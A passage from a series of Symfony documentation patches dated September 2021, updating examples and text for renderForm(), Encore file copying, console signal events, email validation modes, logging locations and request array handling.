+In versions prior to Symfony 5.3, controllers used the method
+``$this->render('...', ['form' => $form->createView()])`` to render the form.
+The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
+status code in the response automatically when the submitted form is not valid.
+
 .. versionadded:: 5.3
 
-    The ``renderForm`` method was introduced in Symfony 5.3, allowing to
-    return 422 HTTP status code if an invalid form is submitted.
+    The ``renderForm()`` method was introduced in Symfony 5.3.
 
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
@@ -438,12 +440,6 @@ possible paths:
     that prevents the user from being able to hit the "Refresh" button of
     their browser and re-post the data.
 
-.. caution::
-
-    The ``createView()`` method should be called *after* ``handleRequest()`` is
-    called. Otherwise, when using :doc:`form events </form/events>`, changes done
-    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
-
 .. seealso::
 
     If you need more control over exactly when your form is submitted or which

From fdb7b6747ec0e39d51b15537d508ab0bdcb7ab16 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:26:05 +0200
Subject: [PATCH 2513/7107] Update code to the latest helper behavior

---
 controller/upload_file.rst         | 4 +++-
 form/direct_submit.rst             | 4 +++-
 form/dynamic_form_modification.rst | 4 +++-
 form/form_collections.rst          | 4 +++-
 form/form_customization.rst        | 2 +-
 forms.rst                          | 8 ++++++--
 6 files changed, 19 insertions(+), 7 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index e908bf6e881..2abf1dc34c0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -174,7 +174,9 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->renderForm('product/new.html.twig', $form);
+            return $this->renderForm('product/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 2d42c8116ec..a7c623dad19 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -29,7 +29,9 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->renderForm('task/new.html.twig', $form);
+        return $this->renderForm('task/new.html.twig', [
+            'form' => $form,
+        ]);
     }
 
 The list of fields submitted with the ``submit()`` method must be the same as
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index e0b25e92190..afc1b48236a 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -534,7 +534,9 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->renderForm('meetup/create.html.twig', $form);
+            return $this->renderForm('meetup/create.html.twig', [
+                'form' => $form,
+            ]);
         }
 
         // ...
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 3d7393ac9e4..c58bf996235 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -164,7 +164,9 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->renderForm('task/new.html.twig', $form);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index bcc48070e63..98f8d433ce8 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -21,7 +21,7 @@ enough to render an entire form, including all its fields and error messages:
 .. code-block:: twig
 
     {# form is a variable passed from the controller via either
-      $this->renderForm('...', $form)
+      $this->renderForm('...', ['form' => $form])
       or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
diff --git a/forms.rst b/forms.rst
index c1fc9c10bf3..74fef0b6600 100644
--- a/forms.rst
+++ b/forms.rst
@@ -275,7 +275,9 @@ Now that the form has been created, the next step is to render it::
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->renderForm('task/new.html.twig', $form);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 
@@ -410,7 +412,9 @@ written into the form object::
                 return $this->redirectToRoute('task_success');
             }
 
-            return $this->renderForm('task/new.html.twig', $form);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
         }
     }
 

From 1cd1425731cbb9e7cb6e29a3091dc0c25bdb7ae0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:58:42 +0200
Subject: [PATCH 2514/7107] Remove a versionadded directive

---
 forms.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/forms.rst b/forms.rst
index d3752971f17..769e40e9202 100644
--- a/forms.rst
+++ b/forms.rst
@@ -286,10 +286,6 @@ In versions prior to Symfony 5.3, controllers used the method
 The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
 status code in the response automatically when the submitted form is not valid.
 
-.. versionadded:: 5.3
-
-    The ``renderForm()`` method was introduced in Symfony 5.3.
-
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 

From 68c76e5659deaa6cc87dd904150e7b747394c7d8 Mon Sep 17 00:00:00 2001
From: Jorge Sepulveda <jorluiseptor@gmail.com>
Date: Sat, 14 Aug 2021 08:32:47 -0400
Subject: [PATCH 2515/7107] Update copy-files.rst

I believe the documentation is wrong. Webpack copies the images into build/images, not build/.
---
 frontend/encore/copy-files.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 6601260ba7f..abe1d554fc0 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -63,11 +63,11 @@ To render inside Twig, use the ``asset()`` function:
 
 .. code-block:: html+twig
 
-    {# assets/images/logo.png was copied to public/build/logo.png #}
-    <img src="{{ asset('build/logo.png') }}" alt="ACME logo">
+    {# assets/images/logo.png was copied to public/build/images/logo.png #}
+    <img src="{{ asset('build/images/logo.png') }}" alt="ACME logo">
 
-    {# assets/images/subdir/logo.png was copied to public/build/subdir/logo.png #}
-    <img src="{{ asset('build/subdir/logo.png') }}" alt="ACME logo">
+    {# assets/images/subdir/logo.png was copied to public/build/images/subdir/logo.png #}
+    <img src="{{ asset('build/images/subdir/logo.png') }}" alt="ACME logo">
 
 Make sure you've enabled the :ref:`json_manifest_path <load-manifest-files>` option,
 which tells the ``asset()`` function to read the final paths from the ``manifest.json``

From 9e30c2883345f25d3cb35b75b0a77cb5deff1bde Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 16:16:17 +0200
Subject: [PATCH 2516/7107] Minor tweak

---
 frontend/encore/copy-files.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index abe1d554fc0..1b3175a1480 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -42,7 +42,7 @@ files into your final output directory. First enable it in ``webpack.config.js``
     +         from: './assets/images',
     +
     +         // optional target path, relative to the output dir
-    +         //to: 'images/[path][name].[ext]',
+    +         to: 'images/[path][name].[ext]',
     +
     +         // if versioning is enabled, add the file hash too
     +         //to: 'images/[path][name].[hash:8].[ext]',
@@ -55,8 +55,8 @@ Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
 Encore, you're done!
 
-This will copy all files from ``assets/images`` into ``public/build`` (the output
-path). If you have :doc:`versioning enabled <versioning>`, the copied files will
+This will copy all files from ``assets/images`` into ``public/build/images``.
+If you have :doc:`versioning enabled <versioning>`, the copied files will
 include a hash based on their content.
 
 To render inside Twig, use the ``asset()`` function:

From bbb1d8d5e48ef58e8efc8f59f27c54f2c6eb7e24 Mon Sep 17 00:00:00 2001
From: Mokhtar Tlili <tlili.mokhtar@gmail.com>
Date: Sun, 15 Aug 2021 14:41:03 +0200
Subject: [PATCH 2517/7107] [Console] Add docs for ConsoleSignalEvent

---
 components/console/events.rst | 31 +++++++++++++++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/components/console/events.rst b/components/console/events.rst
index 7183c2e75f7..46a35741c2d 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -153,5 +153,36 @@ Listeners receive a
     This event is also dispatched when an exception is thrown by the command.
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
+    
+
+The ``ConsoleEvents::SIGNAL`` Event
+-----------------------------------
+
+**Typical Purposes**: To perform some actions after the command execution was interrupted.
+
+After the command has been interrupted, the ``ConsoleEvents::SIGNAL`` event is
+dispatched. It can be used to do any actions
+(to log or profile commands / to perform some cleanup tasks when quitting a command).
+
+Listeners receive a
+:class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event::
+
+    use Symfony\Component\Console\ConsoleEvents;
+    use Symfony\Component\Console\Event\ConsoleSignalEvent;
+
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
+       
+        // gets the signal number
+        $signal = $event->getHandlingSignal();
+        
+        if (\SIGINT === $signal) {
+            echo "bye bye!";
+        }
+    });
+
+.. versionadded:: 5.2
+
+    The ``ConsoleSignalEvent`` class was introduced in Symfony 5.2.
+
 
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html

From 915bf4915a72f86c4d0f6100fb7840f624d04a11 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 16:47:48 +0200
Subject: [PATCH 2518/7107] Rewords and tweaks

---
 components/console/events.rst | 52 +++++++++++++++++++++++++++++++----
 1 file changed, 46 insertions(+), 6 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 46a35741c2d..6b7078b2c11 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -153,16 +153,19 @@ Listeners receive a
     This event is also dispatched when an exception is thrown by the command.
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
-    
 
 The ``ConsoleEvents::SIGNAL`` Event
 -----------------------------------
 
 **Typical Purposes**: To perform some actions after the command execution was interrupted.
 
-After the command has been interrupted, the ``ConsoleEvents::SIGNAL`` event is
-dispatched. It can be used to do any actions
-(to log or profile commands / to perform some cleanup tasks when quitting a command).
+`Signals`_ are asynchronous notifications sent to a process in order to notify
+it of an event that occurred. For example, when you press ``Ctrl + C`` in a
+command, the operating system sends the ``SIGINT`` signal to it.
+
+When a command is interrupted, Symfony dispatches the ``ConsoleEvents::SIGNAL``
+event. Listen to this event so you can perform some actions (e.g. logging some
+results, cleaning some temporary files, etc.) before finishing the command execution.
 
 Listeners receive a
 :class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event::
@@ -180,9 +183,46 @@ Listeners receive a
         }
     });
 
-.. versionadded:: 5.2
+.. tip::
+
+    All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
+    `constants of the PCNTL PHP extension`_.
+
+If you use the Console component inside a Symfony application, commands can
+handle signals themselves. To do so, implement the
+``SignalableCommandInterface`` and subscribe to one or more signals::
+
+    // src/Command/SomeCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\SignalableCommandInterface;
 
-    The ``ConsoleSignalEvent`` class was introduced in Symfony 5.2.
+    class SomeCommand extends Command implements SignalableCommandInterface
+    {
+        // ...
+
+        public function getSubscribedSignals(): array
+        {
+            // return here any of the constants defined by PCNTL extension
+            return [\SIGINT, \SIGTERM];
+        }
+
+        public function handleSignal(int $signal)
+        {
+            if (\SIGINT === $signal) {
+                // ...
+            }
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.2
 
+    The ``ConsoleSignalEvent`` and ``SignalableCommandInterface`` classes were
+    introduced in Symfony 5.2.
 
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
+.. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
+.. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From 57e44d286115b2932f616a0be9ed9d9a79f097ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 16:48:38 +0200
Subject: [PATCH 2519/7107] Remove a versionadded directive

---
 components/console/events.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 6b7078b2c11..a4bdcdfb5b9 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -218,11 +218,6 @@ handle signals themselves. To do so, implement the
         }
     }
 
-.. versionadded:: 5.2
-
-    The ``ConsoleSignalEvent`` and ``SignalableCommandInterface`` classes were
-    introduced in Symfony 5.2.
-
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From 0386c9b130ddf6507dfc894768cf1ad24ff0f6f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 19:51:29 +0200
Subject: [PATCH 2520/7107] Remove the "experimental" flag from some components

---
 configuration.rst       | 3 +--
 rate_limiter.rst        | 3 +--
 security/login_link.rst | 3 +--
 translation.rst         | 3 +--
 4 files changed, 4 insertions(+), 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index c2c89d73a09..0638da13bb4 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -928,8 +928,7 @@ Using PHP ConfigBuilders
 
 .. versionadded:: 5.3
 
-    The "ConfigBuilders" feature was introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The "ConfigBuilders" feature was introduced in Symfony 5.3.
 
 Writing PHP config is sometimes difficult because you end up with large nested
 arrays and you have no autocompletion help from your favorite IDE. A way to
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4f2d20b2b18..1d144085d92 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -3,8 +3,7 @@ Rate Limiter
 
 .. versionadded:: 5.2
 
-    The RateLimiter component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The RateLimiter component was introduced in Symfony 5.2.
 
 A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
 login attempt) is allowed to happen. Rate limiting is commonly used as a
diff --git a/security/login_link.rst b/security/login_link.rst
index 1e1641304a3..ec2fa554344 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,8 +14,7 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-Login links are supported by Symfony when using the experimental
-authenticator system. You must
+Login links are supported by Symfony when using the authenticator system. You must
 :ref:`enable the authenticator system <security-enable-authenticator-manager>`
 in your configuration to use this feature.
 
diff --git a/translation.rst b/translation.rst
index 3026da62ff8..83e95f8dda4 100644
--- a/translation.rst
+++ b/translation.rst
@@ -614,8 +614,7 @@ Translation Providers
 
 .. versionadded:: 5.3
 
-    Translation providers were introduced in Symfony 5.3 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    Translation providers were introduced in Symfony 5.3.
 
 When using external translators to translate your application, you must send
 them the new contents to translate frequently and merge the results back in the

From 279af5c43f5fe978727838d350ea770c0b5ad148 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 23 Sep 2021 20:44:44 +0200
Subject: [PATCH 2521/7107] [Twig] Fix global variable name in XML config

In the XML example, the global variable is named "foo" instead of "uuid".
---
 templating/global_variables.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index ab770657531..bd8342fed8e 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -92,7 +92,7 @@ the ``@`` character, which is the usual syntax to
 
             <twig:config>
                 <!-- ... -->
-                <twig:global key="foo" id="App\Generator\UuidGenerator" type="service"/>
+                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
             </twig:config>
         </container>
 

From cc062a992bb40eba8c07d7d173f539c393610642 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 12:20:24 +0200
Subject: [PATCH 2522/7107] [DomCrawler] Document innerText() method

---
 components/dom_crawler.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 8df1b8c8f67..170127b839f 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -230,6 +230,16 @@ Access the value of the first node of the current selection::
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
+    // innerText() is similar to text() but returns only the text that is
+    // the direct descendent of the current node, excluding any child nodes
+    $text = $crawler->filterXPath('//body/p')->innerText();
+    // if content is <p>Foo <span>Bar</span></p>
+    // innerText() returns 'Foo' and text() returns 'Foo Bar'
+
+.. versionadded:: 5.4
+
+    The ``innerText()`` method was introduced in Symfony 5.4.
+
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');

From af5c57a1f2693bb7615301a8ea32b1e4d9a15ef7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 13:20:32 +0200
Subject: [PATCH 2523/7107] [Console] Remove some unneeded imports

---
 components/console/helpers/questionhelper.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 9d571e524c3..0d687ceeeb4 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -448,8 +448,6 @@ Testing a Command that Expects Input
 If you want to write a unit test for a command which expects some kind of input
 from the command line, you need to set the inputs that the command expects::
 
-    use Symfony\Component\Console\Helper\HelperSet;
-    use Symfony\Component\Console\Helper\QuestionHelper;
     use Symfony\Component\Console\Tester\CommandTester;
 
     // ...

From 1577c2dd610e719e97a41081ad1b03efc1deb8c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 15:36:59 +0200
Subject: [PATCH 2524/7107] [Mailer] Remove some duplicated contents

---
 reference/configuration/framework.rst | 17 +++---------
 reference/constraints/Email.rst       | 38 +++++++++++----------------
 2 files changed, 20 insertions(+), 35 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b13b1f70506..43d9122328c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2710,22 +2710,15 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
+.. _reference-validation-email_validation_mode:
+
 email_validation_mode
 .....................
 
 **type**: ``string`` **default**: ``loose``
 
-Sets the default value for
-:doc:`/reference/constraints/Email` validator. The possible values are:
-
-* ``loose``, it uses a simple regular expression to validate the address (it
-  checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use the ``html5`` validation instead;
-* ``html5``, it validates email addresses using the same regular expression
-  defined in the HTML5 standard, making the backend validation consistent with
-  the one provided by browsers;
-* ``strict``, it uses the `egulias/email-validator`_ library (which you must
-  install separately) to validate the addresses according to the `RFC 5322`_.
+Sets the default value for the
+:ref:`mode option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 
@@ -3619,8 +3612,6 @@ to know their differences.
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
-.. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
-.. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ba09d82418d..b2a978d4af5 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -123,34 +123,28 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
+.. _reference-constraint-email-mode:
+
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``loose``
-
-This option is optional and defines the pattern the email address is validated against.
-Valid values are:
-
-* ``loose``
-* ``strict``
-* ``html5``
-
-``loose``
-.........
-
-A simple regular expression. Allows all values with an "@" symbol in, and a "."
-in the second host part of the email address.
-
-``strict``
-..........
+**type**: ``string`` **default**: (see below)
 
-Uses the `egulias/email-validator`_ library to perform an RFC compliant
-validation. You will need to install that library to use this mode.
+This option is optional and defines the pattern used to validate the email
+address. Valid values are:
 
-``html5``
-.........
+* ``loose``, it uses a simple regular expression to validate the address (it
+  checks that at least one ``@`` character is present, etc.). This validation is
+  too simple and it's recommended to use the ``html5`` validation instead;
+* ``html5``, it validates email addresses using the same regular expression
+  as the `HTML5 email input element`_, making the backend validation consistent
+  with the one provided by browsers;
+* ``strict``, it uses the `egulias/email-validator`_ library (which you must
+  install separately) to validate the addresses according to the `RFC 5322`_.
 
-This matches the pattern used for the `HTML5 email input element`_.
+The default value used by this option is set in the
+:ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
+configuration option.
 
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 

From b80bdbd4ba531870de7b9aaa3abcdb5057c18d3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 15:52:39 +0200
Subject: [PATCH 2525/7107] Rewords and tweaks

---
 console.rst | 24 +++++++++++++++++-------
 1 file changed, 17 insertions(+), 7 deletions(-)

diff --git a/console.rst b/console.rst
index 403d3197a2f..b02ced9a284 100644
--- a/console.rst
+++ b/console.rst
@@ -80,26 +80,36 @@ You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
     // ...
-    // the short description shown while running "php bin/console list"
+    // the command description shown when running "php bin/console list"
     protected static $defaultDescription = 'Creates a new user.';
 
     // ...
     protected function configure(): void
     {
         $this
-            ->setDescription(self::$defaultDescription)
+            // If you don't like using the $defaultDescription static property,
+            // you can also define the short description using this method:
+            // ->setDescription('...')
 
-            // the full command description shown when running the command with
-            // the "--help" option
+            // the command help shown when running the command with the "--help" option
             ->setHelp('This command allows you to create a user...')
         ;
     }
 
+Defining the ``$defaultDescription`` static property instead of using the
+``setDescription()`` method allows to get the command description without
+instantiating its class. This makes the ``php bin/console list`` command run
+much faster.
+
+If you want to always run the ``list`` command fast, add the ``--short`` option
+to it (``php bin/console list --short``). This will avoid instantiating command
+classes, but it won't show any description for commands that use the
+``setDescription()`` method instead of the static property.
+
 .. versionadded:: 5.3
 
-    The ``$defaultDescription`` static property was introduced in Symfony 5.3.
-    It allows to make the ``php bin/console list`` lazy.
-    You can as well use ``php bin/console list --short`` option to have the output faster.
+    The ``$defaultDescription`` static property and the ``--short`` option
+    were introduced in Symfony 5.3.
 
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties

From 4f1a38ecc49acebeec510c811c8f32f7c29e0b55 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 16:08:56 +0200
Subject: [PATCH 2526/7107] [DependencyInjection] Minor improvement of service
 tag description

---
 service_container/tags.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7b303229cdb..94d7d2036b3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -598,9 +598,9 @@ application handlers::
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The tagged services can be prioritized using the ``priority`` attribute.
-The priority is a positive or negative integer. The higher the number,
-the earlier the tagged service will be located in the collection:
+The tagged services can be prioritized using the ``priority`` attribute. The
+priority is a positive or negative integer that defaults to ``0``. The higher
+the number, the earlier the tagged service will be located in the collection:
 
 .. configuration-block::
 

From e7057c6abcca963e33c7db2501b10e57f73a5eb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 17:00:56 +0200
Subject: [PATCH 2527/7107] [Logger] Update the location of prod logs

---
 logging.rst | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/logging.rst b/logging.rst
index e02f860c657..9e959eaa08f 100644
--- a/logging.rst
+++ b/logging.rst
@@ -64,13 +64,15 @@ The following sections assume that Monolog is installed.
 Where Logs are Stored
 ---------------------
 
-By default, log entries are written to the ``var/log/dev.log`` file when you're in
-the ``dev`` environment. In the ``prod`` environment, logs are written to ``var/log/prod.log``,
-but *only* during a request where an error or high-priority log entry was made
-(i.e. ``error()`` , ``critical()``, ``alert()`` or ``emergency()``).
+By default, log entries are written to the ``var/log/dev.log`` file when you're
+in the ``dev`` environment.
 
-To control this, you'll configure different *handlers* that handle log entries, sometimes
-modify them, and ultimately store them.
+In the ``prod`` environment, logs are written to `STDERR PHP stream`_, which
+works best in modern containerized applications deployed to servers without
+disk write permissions.
+
+If you prefer to store production logs in a file, set the ``path`` of your
+log handler(s) to the path of the file to use (e.g. ``var/log/prod.log``).
 
 Handlers: Writing Logs to different Locations
 ---------------------------------------------
@@ -384,3 +386,4 @@ Learn more
 .. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php
 .. _`logrotate`: https://github.com/logrotate/logrotate
 .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25
+.. _`STDERR PHP stream`: https://www.php.net/manual/en/features.commandline.io-streams.php

From a60b4342c6d14249279aa4fc00a4d28955cc67e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 17:19:50 +0200
Subject: [PATCH 2528/7107] Remove a versionadded directive

---
 console.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/console.rst b/console.rst
index 609ecfbc14c..1918cb015ee 100644
--- a/console.rst
+++ b/console.rst
@@ -97,11 +97,6 @@ to it (``php bin/console list --short``). This will avoid instantiating command
 classes, but it won't show any description for commands that use the
 ``setDescription()`` method instead of the static property.
 
-.. versionadded:: 5.3
-
-    The ``$defaultDescription`` static property and the ``--short`` option
-    were introduced in Symfony 5.3.
-
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties

From c9c895c7be822817679ced81d5f5b54d6ece5925 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 20:01:58 +0200
Subject: [PATCH 2529/7107] Remove a versionadded directive

---
 components/dom_crawler.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 9d08c2b2276..0fb1767b88b 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -232,10 +232,6 @@ Access the value of the first node of the current selection::
     // if content is <p>Foo <span>Bar</span></p>
     // innerText() returns 'Foo' and text() returns 'Foo Bar'
 
-.. versionadded:: 5.4
-
-    The ``innerText()`` method was introduced in Symfony 5.4.
-
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');

From fcf41a082d21bdfff550a8bbfdee88aafa548756 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Sep 2021 13:26:10 +0200
Subject: [PATCH 2530/7107] [HttpFoundation] Document the removal of array
 support in get()

---
 components/http_foundation.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9fa9ab6e33c..3df8d5c9c94 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -163,20 +163,25 @@ exist::
     // returns 'baz'
 
 When PHP imports the request query, it handles request parameters like
-``foo[bar]=baz`` in a special way as it creates an array. So you can get the
-``foo`` parameter and you will get back an array with a ``bar`` element::
+``foo[bar]=baz`` in a special way as it creates an array. The ``get()`` method
+doesn't support returning arrays, so you need to use the following code::
 
     // the query string is '?foo[bar]=baz'
 
-    $request->query->get('foo');
+    // don't use $request->query->get('foo'); use the following instead:
+    $request->query->all()['foo'];
     // returns ['bar' => 'baz']
 
     $request->query->get('foo[bar]');
     // returns null
 
-    $request->query->get('foo')['bar'];
+    $request->query->all()['foo']['bar'];
     // returns 'baz'
 
+.. deprecated:: 5.1
+
+    The array support in ``get()`` method was deprecated in Symfony 5.1.
+
 .. _component-foundation-attributes:
 
 Thanks to the public ``attributes`` property, you can store additional data

From e559f236cdd8928258d10bbc6d4cbe4951d217dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 25 Sep 2021 10:46:34 +0200
Subject: [PATCH 2531/7107] Remove a deprecated directive

---
 components/http_foundation.rst | 4 ----
